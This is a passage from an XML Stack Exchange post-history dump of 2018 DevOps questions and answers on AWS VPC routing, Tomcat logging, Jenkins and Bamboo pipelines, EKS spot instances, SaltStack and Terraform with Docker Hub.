source IP of the request.  All requests are forwarded as requested by VPN machine.&#xD;&#xA;&#xD;&#xA;Let me know if any other information/clarification is required.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16672" PostHistoryTypeId="1" PostId="5255" RevisionGUID="f46bdfa6-1ec7-4db6-9446-34dc015d6387" CreationDate="2018-10-25T14:54:32.760" UserId="10517" Text="Communication between VPCs and a transit VPC hosting VPN Server without Masking source IP" ContentLicense="CC BY-SA 4.0" />
  <row Id="16673" PostHistoryTypeId="3" PostId="5255" RevisionGUID="f46bdfa6-1ec7-4db6-9446-34dc015d6387" CreationDate="2018-10-25T14:54:32.760" UserId="10517" Text="&lt;amazon-web-services&gt;&lt;aws-vpc&gt;&lt;vpn&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16674" PostHistoryTypeId="2" PostId="5256" RevisionGUID="b7678023-42e6-4c38-b87e-9a50e6379180" CreationDate="2018-10-25T15:29:15.360" UserId="10520" Text="So I have a problem that is the reverse of what everyone else on the internet wants.. I want to take tomcat logs that are being written out to /usr/local/tomcat/logs and have them be output to console instead. (Everyone else is asking the reverse.. how to get things away from console and to file). Reason why is because I'm on a system that captures output to console and directs it to an analytics program, it has to go to this program, and I have no control over how this is designed (ie. I can't change the program or capture process to use files as well as console).&#xD;&#xA;&#xD;&#xA;To clarify, I am doing this on a Linux system, specifically Alpine." ContentLicense="CC BY-SA 4.0" />
  <row Id="16675" PostHistoryTypeId="1" PostId="5256" RevisionGUID="b7678023-42e6-4c38-b87e-9a50e6379180" CreationDate="2018-10-25T15:29:15.360" UserId="10520" Text="How to redirect tomcat logs TO console?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16676" PostHistoryTypeId="3" PostId="5256" RevisionGUID="b7678023-42e6-4c38-b87e-9a50e6379180" CreationDate="2018-10-25T15:29:15.360" UserId="10520" Text="&lt;linux&gt;&lt;logging&gt;&lt;tomcat&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16677" PostHistoryTypeId="50" PostId="4831" RevisionGUID="cb3af454-a59d-4b0f-8d21-2dab06cd297b" CreationDate="2018-10-25T21:00:50.163" UserId="-1" />
  <row Id="16681" PostHistoryTypeId="2" PostId="5258" RevisionGUID="851ed16d-108d-4753-9c0f-f3e4de260f0f" CreationDate="2018-10-26T01:06:54.703" UserId="405" Text="VPC peering does not support transit traffic.&#xD;&#xA;&#xD;&#xA;[Unsupported VPC Peering Configurations](https://docs.aws.amazon.com/vpc/latest/peering/invalid-peering-configurations.html#edge-to-edge-vgw) described several scenarious that are not supported.&#xD;&#xA;&#xD;&#xA;This case is not specifically mentioned, but is implicit from the other limitations.  &#xD;&#xA;&#xD;&#xA;Note also that it is impossible to fully configure the setup you are attempting, because when you route a given destination towards a remote VPC via a peering connection, there is no route table in the target VPC that is applicable to that traffic. Only the instance subnets are available.  Route tables apply only to subnets, and the default route table only applies to subnets without an explicitly assigned route table -- not to incoming traffic from a peering connection.  There is no way to route this traffic back to your instance.&#xD;&#xA;&#xD;&#xA;This is why Hardware VPN, Direct Connect, and NAT devices are not available across peering, &#xD;&#xA;&#xD;&#xA;A [Transit VPC](https://aws.amazon.com/blogs/aws/aws-solution-transit-vpc/) is not what you have described.  These use AWS VPC Hardware VPN connections on the spokes and an EC2-based *router* at the hub to terminate the tunnels... and the transit routing between the tunnels is done within the instance -- not by the VPC network infrastructure." ContentLicense="CC BY-SA 4.0" />
  <row Id="16685" PostHistoryTypeId="2" PostId="5260" RevisionGUID="9384e759-3f3b-4e6c-8401-b36f72b1e300" CreationDate="2018-10-26T07:09:37.390" UserId="10526" Text="I have a windows service written in .net c#. We have three different environments say dev, test and prod. I also have 3 different config files for 3 environments say devAppConfig , TestAppConfig and ProdAppConfig.&#xD;&#xA;&#xD;&#xA;Earlier, we used to deploy manual, so we used to replace the config files and deploy the binaries.Now the deployments are to be automated for that we are using Bamboo.&#xD;&#xA;&#xD;&#xA;Now my question is how do I dynamically change the AppConfig for different environment deployments.&#xD;&#xA;&#xD;&#xA;I have 3 different stages in Bamboo naming DevDeploy , TestDeploy, ProdDeploy. When I run these stages, it has to change the config file and do the deployment, but I'm not sure how.&#xD;&#xA;&#xD;&#xA;Can anyone guide me in the right direction for my issue?  &#xD;&#xA;&#xD;&#xA;Note: I could have added a prebuild event to copy the appropriate config file before building the code. But the main aim here is to able to use the same binaries across all the environments without building it every time.There has to be some setting somewhere (not sure where) to determine which environment it is being deployed and use the appropriate config file." ContentLicense="CC BY-SA 4.0" />
  <row Id="16686" PostHistoryTypeId="1" PostId="5260" RevisionGUID="9384e759-3f3b-4e6c-8401-b36f72b1e300" CreationDate="2018-10-26T07:09:37.390" UserId="10526" Text="Dynamically change config files in c# Application based on environments(dev,QA,Prod) through Bamboo" ContentLicense="CC BY-SA 4.0" />
  <row Id="16687" PostHistoryTypeId="3" PostId="5260" RevisionGUID="9384e759-3f3b-4e6c-8401-b36f72b1e300" CreationDate="2018-10-26T07:09:37.390" UserId="10526" Text="&lt;continuous-integration&gt;&lt;configuration&gt;&lt;builds&gt;&lt;bamboo&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16691" PostHistoryTypeId="2" PostId="5261" RevisionGUID="195edb72-be8c-4514-9b34-38c615cfe583" CreationDate="2018-10-26T11:07:43.167" UserId="10533" Text="First, you have to create a new job in Jenkins ( Github organization ) and configure it to scan all repos and all branches, you can do it by following this [URL][1] &#xD;&#xA;second, press scan organization from Jenkins, now you will see all repos and all braches which contain Jenkinsfile which contains all your stages and all pipeline stages, check also this [URL][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://support.cloudbees.com/hc/en-us/articles/115003015711-GitHub-Webhook-Organization-Folder&#xD;&#xA;  [2]: https://github.com/gitbucket/gitbucket/wiki/Setup-Jenkins-Multibranch-Pipeline-and-Organization" ContentLicense="CC BY-SA 4.0" />
  <row Id="16692" PostHistoryTypeId="2" PostId="5262" RevisionGUID="a542496d-f78c-40eb-94ad-0844782ce077" CreationDate="2018-10-26T13:34:55.817" UserId="4071" Text="We use our tool dda-serverspec (https://github.com/DomainDrivenArchitecture/dda-serverspec-crate) for such tasks. You may define your expectation &#xD;&#xA;&#xD;&#xA;```{:netcat [{:host &quot;mywebserver.com&quot; :port &quot;443&quot;}&#xD;&#xA;          {:host &quot;telnet mywebserver.com&quot; :port &quot;80&quot;}&#xD;&#xA;          {:host &quot;telnet mywebserver.com&quot; :port &quot;8443&quot;}]}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;and test these expectation either against localhost or remote by ssh.&#xD;&#xA;For remote tests you've to define a targets:&#xD;&#xA;&#xD;&#xA;```{:existing [{:node-name &quot;test-vm1&quot;          &#xD;&#xA;             :node-ip &quot;35.157.19.218&quot;}      &#xD;&#xA;            {:node-name &quot;test-vm2&quot;&#xD;&#xA;             :node-ip &quot;18.194.113.138&quot;}]&#xD;&#xA; :provisioning-user&#xD;&#xA;  {:login &quot;ubuntu&quot;}}  &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;You may run the test by `java -jar dda-serverspec.jar --targets targets.edn serverspec.edn`&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16694" PostHistoryTypeId="2" PostId="5263" RevisionGUID="88ae57ed-2bdc-4ea6-8a4e-83d1b6de2620" CreationDate="2018-10-26T14:26:22.903" UserId="4071" Text="In my experience one of the main differences between Dev and Ops are &quot;heavy run time dependencies&quot;. Installing packages heavily depends on repositories, networks or valid keys, or lets say instantiating a new cloud server - it depends on your provider resources.&#xD;&#xA;&#xD;&#xA;In terms of server-provisioning even if you did not change your provision code, your image will be valid most of the times but sometimes not. So I think testing is really essential for providing working images.&#xD;&#xA;&#xD;&#xA;If you go beond single servers things get even worse ... how you will test reachability in whole network-setups? Including DNS-resolution, routing and firewalling? Even if your IaaC providers API works as expected (I've seen wired issues in this area) I really like TDD in this case.&#xD;&#xA;&#xD;&#xA;Because I've not found any testing tools in this area, we wrote one in our spare-time: &#xD;&#xA;https://github.com/DomainDrivenArchitecture/dda-serverspec-crate&#xD;&#xA;&#xD;&#xA;So I think TDD is really important in the DevOps world!" ContentLicense="CC BY-SA 4.0" />
  <row Id="16695" PostHistoryTypeId="50" PostId="4350" RevisionGUID="9b61df94-7673-4a10-b5db-68d8108c9bc1" CreationDate="2018-10-26T15:00:34.503" UserId="-1" />
  <row Id="16696" PostHistoryTypeId="2" PostId="5264" RevisionGUID="311cf95f-2ea4-4db2-a33a-6516055573eb" CreationDate="2018-10-26T15:45:20.153" UserId="10540" Text="I had a similar error while using a virtual environment using PyCharm.  In my case, I was using an upgraded version of neo4j-driver in my virtual environment compared to my host environment.  I downgraded neo4j-driver from 1.7 to 1.6.2.&#xD;&#xA;&#xD;&#xA;Make sure you have neo4j-driver installed in general." ContentLicense="CC BY-SA 4.0" />
  <row Id="16697" PostHistoryTypeId="50" PostId="5061" RevisionGUID="15b67f74-c5cc-43d9-a017-e4b8588a2dbd" CreationDate="2018-10-26T17:00:32.163" UserId="-1" />
  <row Id="16698" PostHistoryTypeId="2" PostId="5265" RevisionGUID="542fc77c-1fda-4010-b1f0-84f84bdf5d4c" CreationDate="2018-10-26T18:09:11.813" UserId="7695" Text="I'll start off by saying I'm not really an infrastructure person, but am being required to maintain it until we hire someone more suited to it, so apologies if I have any terminology wrong.&#xD;&#xA;&#xD;&#xA;We have a kubernetes cluster (AKS)in azure.  Currently we are running only 1 server in the cluster, with 4 namespaces configured within it, representing each environment.  To properly support our production environment, we ideally want at least 3 servers, with the ability to scale appropriately.  However, whenever we try to scale it up, services deployed to different server nodes cannot communicate with one another.&#xD;&#xA;&#xD;&#xA;The unfortunate thing is I have no idea even how to start begin debugging this.  I know we have some custom nginx rules that microsoft gave us, but even setting allow everything as the first rule does not seem to resolve this issue.  How do I begin debugging this?  What information would even be helpful for this issue?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16699" PostHistoryTypeId="1" PostId="5265" RevisionGUID="542fc77c-1fda-4010-b1f0-84f84bdf5d4c" CreationDate="2018-10-26T18:09:11.813" UserId="7695" Text="nodes in a kubernetes cluster in azure unable to communicate with one another" ContentLicense="CC BY-SA 4.0" />
  <row Id="16700" PostHistoryTypeId="3" PostId="5265" RevisionGUID="542fc77c-1fda-4010-b1f0-84f84bdf5d4c" CreationDate="2018-10-26T18:09:11.813" UserId="7695" Text="&lt;kubernetes&gt;&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16705" PostHistoryTypeId="50" PostId="3953" RevisionGUID="bc1c5b4c-dbeb-4166-944b-e62e43513949" CreationDate="2018-10-26T22:01:01.007" UserId="-1" />
  <row Id="16709" PostHistoryTypeId="50" PostId="5070" RevisionGUID="1766b7ea-4b35-4246-9033-8051d543504c" CreationDate="2018-10-27T08:00:59.810" UserId="-1" />
  <row Id="16710" PostHistoryTypeId="5" PostId="1229" RevisionGUID="4e54083f-d62c-4bd3-a83a-9fb3688530c2" CreationDate="2018-10-27T13:07:02.217" UserId="2885" Comment="added 444 characters in body" Text="Check out the [slsutil.renderer](https://docs.saltstack.com/en/latest/ref/modules/all/salt.modules.slsutil.html) module.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This should do what you want&#xD;&#xA;&#xD;&#xA;    salt my-minion-id slsutil.renderer /srv/salt/network/init.sls 'jinja'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This module just calls the compile_template function directly for you.&#xD;&#xA;&#xD;&#xA;Edit: /srv/salt/network/init.sls is the path on the minion, if you are not targeting the master as your minion, you will probably need to do the following.&#xD;&#xA;&#xD;&#xA;    salt minion-id cp.cache_file salt://network/init.sls&#xD;&#xA;    salt minion-id slsutil.renderer /var/cache/salt/minion/files/base/network/init.sls&#xD;&#xA;&#xD;&#xA;or point to whatever file that cache_file spits out.&#xD;&#xA;&#xD;&#xA;If you are on 2018.3 or newer, you can just specify `salt://network/init.sls`" ContentLicense="CC BY-SA 4.0" />
  <row Id="16711" PostHistoryTypeId="2" PostId="5268" RevisionGUID="5a0c1c94-9ce5-472b-be41-84796a14f372" CreationDate="2018-10-27T13:55:25.030" UserId="8675" Text="It can be done by modifying the [Cloudformation Template](https://amazon-eks.s3-us-west-2.amazonaws.com/cloudformation/2018-08-30/amazon-eks-nodegroup.yaml) (which is mentioned in this [document](https://docs.aws.amazon.com/eks/latest/userguide/launch-workers.html)) in the `LaunchConfiguration` section to specify a spot price.&#xD;&#xA;&#xD;&#xA;    NodeLaunchConfig:&#xD;&#xA;      Type: AWS::AutoScaling::LaunchConfiguration&#xD;&#xA;      Properties:&#xD;&#xA;        SpotPrice: &quot;20&quot; # &lt;=== Here&#xD;&#xA;        AssociatePublicIpAddress: 'true'&#xD;&#xA;        IamInstanceProfile: !Ref NodeInstanceProfile&#xD;&#xA;        ImageId: !Ref NodeImageId&#xD;&#xA;        InstanceType: !Ref NodeInstanceType&#xD;&#xA;        KeyName: !Ref KeyName&#xD;&#xA;        SecurityGroups:&#xD;&#xA;        - !Ref NodeSecurityGroup&#xD;&#xA;        BlockDeviceMappings:&#xD;&#xA;          - DeviceName: /dev/xvda&#xD;&#xA;            Ebs:&#xD;&#xA;              VolumeSize: !Ref NodeVolumeSize&#xD;&#xA;              VolumeType: gp2&#xD;&#xA;              DeleteOnTermination: true&#xD;&#xA;        UserData:&#xD;&#xA;          Fn::Base64:&#xD;&#xA;            !Sub |&#xD;&#xA;              #!/bin/bash&#xD;&#xA;              set -o xtrace&#xD;&#xA;              /etc/eks/bootstrap.sh ${ClusterName} ${BootstrapArguments}&#xD;&#xA;              /opt/aws/bin/cfn-signal --exit-code $? \&#xD;&#xA;                       --stack  ${AWS::StackName} \&#xD;&#xA;                       --resource NodeGroup  \&#xD;&#xA;                       --region ${AWS::Region}" ContentLicense="CC BY-SA 4.0" />
  <row Id="16713" PostHistoryTypeId="50" PostId="4189" RevisionGUID="0ce7a5d7-2b4a-4d1f-96fd-7fc6518ff5f9" CreationDate="2018-10-27T16:00:49.687" UserId="-1" />
  <row Id="16714" PostHistoryTypeId="50" PostId="1622" RevisionGUID="65aefc59-e4d2-4508-8457-e49b4d196fab" CreationDate="2018-10-27T18:00:55.090" UserId="-1" />
  <row Id="16715" PostHistoryTypeId="2" PostId="5269" RevisionGUID="9ee2d893-1bb0-4f9d-b4ff-03565bc98730" CreationDate="2018-10-27T19:04:36.327" UserId="10350" Text="That [doc][1] say next:&#xD;&#xA;&#xD;&#xA;&gt;  When running Tomcat on unixes, the console output is usually redirected to the file named catalina.out. The name is configurable using an environment variable. (See the startup scripts). Whatever is written to System.err/out will be caught into that file. That may include:&#xD;&#xA;&#xD;&#xA;&gt;    Uncaught exceptions printed by&#xD;&#xA;&#xD;&#xA;&gt;  - java.lang.ThreadGroup.uncaughtException(..)&#xD;&#xA;&#xD;&#xA;&gt;  -  Thread dumps, if you requested them via a system signal&#xD;&#xA;&#xD;&#xA;&gt;When running as a service on Windows, the console output is also caught and redirected, but the file names are different.&#xD;&#xA;&#xD;&#xA;&gt;The default logging configuration in Apache Tomcat writes the same messages to the console and to a log file. This is great when using Tomcat for development, but usually is not needed in production. &#xD;&#xA;&#xD;&#xA;So if you need to catch the same logs which catch analytic software you need read `catalina.out` file.&#xD;&#xA;&#xD;&#xA; Think it's will be helpful to you.&#xD;&#xA;&#xD;&#xA;  [1]: https://tomcat.apache.org/tomcat-7.0-doc/logging.html#Console" ContentLicense="CC BY-SA 4.0" />
  <row Id="16716" PostHistoryTypeId="50" PostId="3177" RevisionGUID="979785b8-51e3-4c3e-aefa-957593d48be2" CreationDate="2018-10-27T21:00:29.170" UserId="-1" />
  <row Id="16717" PostHistoryTypeId="50" PostId="2536" RevisionGUID="0bb80eca-2b49-4351-91cd-80c061a2d7d0" CreationDate="2018-10-27T22:00:42.367" UserId="-1" />
  <row Id="16718" PostHistoryTypeId="2" PostId="5270" RevisionGUID="d8d07e82-f05a-436f-8688-baa6a985992e" CreationDate="2018-10-28T06:37:01.990" UserId="10550" Text="I want the Jenkins agent to **build** and **start** the server.&#xD;&#xA;&#xD;&#xA;I do this by specifying how to build and start the server in the *Build* step of the project configuration in **Bash**&#xD;&#xA;&#xD;&#xA;```echo &quot;Installing dependencies&quot;&#xD;&#xA;npm install&#xD;&#xA;echo &quot;Starting server&quot;&#xD;&#xA;./startscript.sh 3000 &amp; #this script will start the server with specified port&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Why the ampsersand in `/startscript.sh 3000 &amp;`?**&#xD;&#xA;&#xD;&#xA;I notice that without the ampersand `&amp;` in the last command, the server is started as expected (I can access it from browser). However, the Jenkins build hangs and cannot finish (because the script starts the server and won't return until the server is terminated).&#xD;&#xA;&#xD;&#xA;So I tried to fix this with adding the ampersand to make the script process runs in background. With this, Jenkins job successfully ends the build.&#xD;&#xA;&#xD;&#xA;**But adding the ampersand still doesn't fix**&#xD;&#xA;The server process is still terminated (it actually started because I checked the log and saw that it was started). I think that this might be because when Jenkins finishes building, it exits the shell and sends the **SIGHUP** to attached background jobs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Adding nohub still doesn't fix**&#xD;&#xA;&#xD;&#xA;Running the last command with `nohup ./startscript.sh 3000 &amp;` still doesn't fix the bug.&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;How to make the agent build then start the server.&#xD;&#xA;&#xD;&#xA;**Note**&#xD;&#xA;&#xD;&#xA;The console output of Jenkins builds shows both the command and the output of it (like the behaviour of the -x flag of the shell). And the last command was shown like this:&#xD;&#xA;&#xD;&#xA;```+ nohup ./startscript.sh 3000&#xD;&#xA;Finished: SUCCESS```&#xD;&#xA;&#xD;&#xA;It doesn't show the ampersand `&amp;`... So I don't know if the ampersand was actually correctly interpreted during the run. " ContentLicense="CC BY-SA 4.0" />
  <row Id="16719" PostHistoryTypeId="1" PostId="5270" RevisionGUID="d8d07e82-f05a-436f-8688-baa6a985992e" CreationDate="2018-10-28T06:37:01.990" UserId="10550" Text="How to make the Jenkins agent build then start the server" ContentLicense="CC BY-SA 4.0" />
  <row Id="16720" PostHistoryTypeId="3" PostId="5270" RevisionGUID="d8d07e82-f05a-436f-8688-baa6a985992e" CreationDate="2018-10-28T06:37:01.990" UserId="10550" Text="&lt;jenkins&gt;&lt;builds&gt;&lt;bash&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16721" PostHistoryTypeId="50" PostId="5076" RevisionGUID="947d42c0-6ff6-44cc-a742-91f0ee9b7d8b" CreationDate="2018-10-28T09:00:56.057" UserId="-1" />
  <row Id="16725" PostHistoryTypeId="2" PostId="5272" RevisionGUID="57b8716a-aa71-4843-84bb-23821f215d10" CreationDate="2018-10-28T13:09:19.373" UserId="739" Text="You are running into a conflict between jenkins nature of making sure everything is done before a job is complete and your desire for some long-running things to be asynchronous.  There is no right answer here, both are reasonable desires, but you and jenkins are pulling in different directions.  It may be ok for some parts of the jenkins job to not be completely done but they are good enough for the job.  This is a decision you get to make.&#xD;&#xA;&#xD;&#xA;If getting this working inside of jenkins is too much trouble there are work arounds.  You can make your own daemon that looks for job completions (via files or database entries) and then starts something else.  Obviously this means you lose the UX features of jenkins that let everybody know where something is.  But you could make this work inside of jenkins by having different jobs also.  The quick job finishes and then the longer job takes over.  Since each is its own job it can have timeout requirements that make sense for it." ContentLicense="CC BY-SA 4.0" />
  <row Id="16726" PostHistoryTypeId="6" PostId="5108" RevisionGUID="2d65ea84-a3c3-4a4e-89a2-63d10c0454f8" CreationDate="2018-10-28T14:25:29.967" UserId="210" Comment="edited tags; edited tags" Text="&lt;artifacts&gt;&lt;bitbucket-server&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16727" PostHistoryTypeId="4" PostId="5108" RevisionGUID="2d65ea84-a3c3-4a4e-89a2-63d10c0454f8" CreationDate="2018-10-28T14:25:29.967" UserId="210" Comment="edited tags; edited tags" Text="What are reasons for not not using Bitbucket for storing artifacts?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16728" PostHistoryTypeId="2" PostId="5273" RevisionGUID="e7a46d2c-fac0-4d2d-b6e6-f96b0a9ac89f" CreationDate="2018-10-28T14:29:25.817" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="16729" PostHistoryTypeId="1" PostId="5273" RevisionGUID="e7a46d2c-fac0-4d2d-b6e6-f96b0a9ac89f" CreationDate="2018-10-28T14:29:25.817" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="16730" PostHistoryTypeId="2" PostId="5274" RevisionGUID="466750a7-742f-4244-883e-e69b624a7771" CreationDate="2018-10-28T14:29:25.817" UserId="210" Text="Bitbucket-server is the self-hosted version of bitbucket. The opposite is bitbucket-cloud." ContentLicense="CC BY-SA 4.0" />
  <row Id="16731" PostHistoryTypeId="1" PostId="5274" RevisionGUID="466750a7-742f-4244-883e-e69b624a7771" CreationDate="2018-10-28T14:29:25.817" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="16732" PostHistoryTypeId="4" PostId="5108" RevisionGUID="d2746d93-007a-4f43-af89-0e87266c8d3a" CreationDate="2018-10-28T14:31:46.710" UserId="210" Comment="edited title" Text="What are reasons for not not using Bitbucket-server for storing artifacts?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16733" PostHistoryTypeId="2" PostId="5275" RevisionGUID="14955932-7e10-4338-bae3-a5a2bdbe142a" CreationDate="2018-10-28T23:23:38.437" UserId="10262" Text="The instructions in [Terraform Docker Provider][1] give the example:&#xD;&#xA;&#xD;&#xA;    # Configure the Docker provider&#xD;&#xA;    provider &quot;docker&quot; {&#xD;&#xA;      host = &quot;tcp://127.0.0.1:2376/&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    # Create a container&#xD;&#xA;    resource &quot;docker_container&quot; &quot;foo&quot; {&#xD;&#xA;      image = &quot;${docker_image.ubuntu.latest}&quot;&#xD;&#xA;      name  = &quot;foo&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;docker_image&quot; &quot;ubuntu&quot; {&#xD;&#xA;      name = &quot;ubuntu:latest&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I'm assuming this is pointing to an on-prem docker source. How do I used [Docker Hub][2] directly?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/providers/docker/&#xD;&#xA;  [2]: https://hub.docker.com/" ContentLicense="CC BY-SA 4.0" />
  <row Id="16734" PostHistoryTypeId="1" PostId="5275" RevisionGUID="14955932-7e10-4338-bae3-a5a2bdbe142a" CreationDate="2018-10-28T23:23:38.437" UserId="10262" Text="How can I use Docker Hub in Terraform?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16735" PostHistoryTypeId="3" PostId="5275" RevisionGUID="14955932-7e10-4338-bae3-a5a2bdbe142a" CreationDate="2018-10-28T23:23:38.437" UserId="10262" Text="&lt;docker&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16736" PostHistoryTypeId="50" PostId="4023" RevisionGUID="00e8bce9-e896-4cb0-bbfd-8ae4f016ec17" CreationDate="2018-10-29T03:01:44.660" UserId="-1" />
  <row Id="16744" PostHistoryTypeId="2" PostId="5278" RevisionGUID="129ee85f-cda2-4a7d-bee8-592d114c74e5" CreationDate="2018-10-29T21:36:09.680" UserId="210" Text="What about creating a new managed k8s cluster and start from scratch? This is what I do if the architecture is a maze. Managed k8s on azure and gcp is a couple of clicks away." ContentLicense="CC BY-SA 4.0" />
  <row Id="16745" PostHistoryTypeId="50" PostId="1877" RevisionGUID="7d335e4f-51c2-42ad-9ba8-d3ff65360f8b" CreationDate="2018-10-29T22:00:58.273" UserId="-1" />
  <row Id="16746" PostHistoryTypeId="2" PostId="5279" RevisionGUID="54cc8b0a-87c0-4647-a6ae-7fe1df9c83d6" CreationDate="2018-10-30T06:59:50.400" UserId="10550" Text="In Jenkinsfile, I want to make an `ssh key` visible to all stages in the pipeline.&#xD;&#xA;&#xD;&#xA;From the official document, I learned that:&#xD;&#xA;&#xD;&#xA;1. `environment` directive is used to defy environment variables for used within Jenkinsfile&#xD;&#xA;1. The scope of the variables defined depends on the placement of the `environment` directive&#xD;&#xA;1. One can set the **some types of credentials** inside`environment` directive with the help of the `credentials` helper&#xD;&#xA;1. The types of credentials supported by the helper are:&#xD;&#xA;   * Secret text&#xD;&#xA;   * Usernames and passwords&#xD;&#xA;   * Secret files&#xD;&#xA;&#xD;&#xA;For other types of credentials, the document suggests using the `snippet generator`, which generates a step.&#xD;&#xA;&#xD;&#xA;Example of an ssh key step&#xD;&#xA;&#xD;&#xA;    withCredentials([sshUserPrivateKey(credentialsId: 'jenkins_aws_to_bitbucket', keyFileVariable: 'BITBUCKET_PRV_KEY')]) {&#xD;&#xA;        // some block&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This is meant to be used in a *stage* like:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent {&#xD;&#xA;            // define agent details&#xD;&#xA;        }&#xD;&#xA;        stages {&#xD;&#xA;            stage('Example stage 1') {&#xD;&#xA;                steps {&#xD;&#xA;                    withCredentials(bindings: [sshUserPrivateKey(credentialsId: 'jenkins-ssh-key-for-abc', \&#xD;&#xA;                                                                 keyFileVariable: 'SSH_KEY_FOR_ABC')]) {&#xD;&#xA;                      // &#xD;&#xA;                    }&#xD;&#xA;                    withCredentials(bindings: [certificate(credentialsId: 'jenkins-certificate-for-xyz', \&#xD;&#xA;                                                           keystoreVariable: 'CERTIFICATE_FOR_XYZ', \&#xD;&#xA;                                                           passwordVariable: 'XYZ-CERTIFICATE-PASSWORD')]) {&#xD;&#xA;                      // &#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;            stage('Example stage 2') {&#xD;&#xA;                steps {&#xD;&#xA;                    // &#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;[*Snippet source*](https://jenkins.io/doc/book/pipeline/jenkinsfile/)&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;1. If the steps are within a *stage*, are these credentials visible within other stages? &#xD;&#xA;1. If not, how to make these credentials *global* ~ visible within all stages&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16747" PostHistoryTypeId="1" PostId="5279" RevisionGUID="54cc8b0a-87c0-4647-a6ae-7fe1df9c83d6" CreationDate="2018-10-30T06:59:50.400" UserId="10550" Text="How to make Jenkinsfile credential visible to many stages" ContentLicense="CC BY-SA 4.0" />
  <row Id="16748" PostHistoryTypeId="3" PostId="5279" RevisionGUID="54cc8b0a-87c0-4647-a6ae-7fe1df9c83d6" CreationDate="2018-10-30T06:59:50.400" UserId="10550" Text="&lt;jenkins&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16752" PostHistoryTypeId="2" PostId="5281" RevisionGUID="a224c14e-2edb-4a1d-ac53-a9f8fd7413e3" CreationDate="2018-10-30T10:39:00.170" UserId="10577" Text="Let's say I have a piece of software which does a computational task that is pretty demanding to either CPU/GPU/RAM/Disk-IO or a combination of those. Then it would be optimal if one has some metric to describe what the optimal configuration of a machine would be to run this software.&#xD;&#xA;&#xD;&#xA;Guess that metric should include: 1) &quot;minimal requirements&quot; and more importantly 2) the &quot;optimal ratio&quot; of the above parameters, so that there is no idling CPU/RAM/GPU so that I get the best computation per money/electricity/computation time.&#xD;&#xA;&#xD;&#xA;This is especially true, if I want to run your job on AWS/GoogleCloud/OtherProvider or on an HPC environment where you can pick those parameters.&#xD;&#xA;&#xD;&#xA;I am aware that this is probably a pretty hard problem, since it is not easy to compare different kinds of CPUs (Cache, clock speed, etc.) or different kinds of RAM.&#xD;&#xA;&#xD;&#xA;But still, does there exist and &quot;standard&quot; or approach for this? If yes, what are the methods to establish such a metric?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16753" PostHistoryTypeId="1" PostId="5281" RevisionGUID="a224c14e-2edb-4a1d-ac53-a9f8fd7413e3" CreationDate="2018-10-30T10:39:00.170" UserId="10577" Text="Is there an established metric to describe optimal/needed ressources for a specific computational task?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16754" PostHistoryTypeId="3" PostId="5281" RevisionGUID="a224c14e-2edb-4a1d-ac53-a9f8fd7413e3" CreationDate="2018-10-30T10:39:00.170" UserId="10577" Text="&lt;amazon-web-services&gt;&lt;google-cloud-platform&gt;&lt;metrics&gt;&lt;performance&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16755" PostHistoryTypeId="5" PostId="5281" RevisionGUID="11aa3623-d9be-4023-9314-003950d19cc7" CreationDate="2018-10-30T12:30:25.410" UserId="10577" Comment="Added question regarding DevOps is the right place to post this question" Text="Let's say I have a piece of software which does a computational task that is pretty demanding to either CPU/GPU/RAM/Disk-IO or a combination of those. Then it would be optimal if one has some metric to describe what the optimal configuration of a machine would be to run this software.&#xD;&#xA;&#xD;&#xA;Guess that metric should include: 1) &quot;minimal requirements&quot; and more importantly 2) the &quot;optimal ratio&quot; of the above parameters, so that there is no idling CPU/RAM/GPU so that I get the best computation per money/electricity/computation time.&#xD;&#xA;&#xD;&#xA;This is especially true, if I want to run your job on AWS/GoogleCloud/OtherProvider or on an HPC environment where you can pick those parameters.&#xD;&#xA;&#xD;&#xA;I am aware that this is probably a pretty hard problem, since it is not easy to compare different kinds of CPUs (Cache, clock speed, etc.) or different kinds of RAM.&#xD;&#xA;&#xD;&#xA;But still, does there exist and &quot;standard&quot; or approach for this? If yes, what are the methods to establish such a 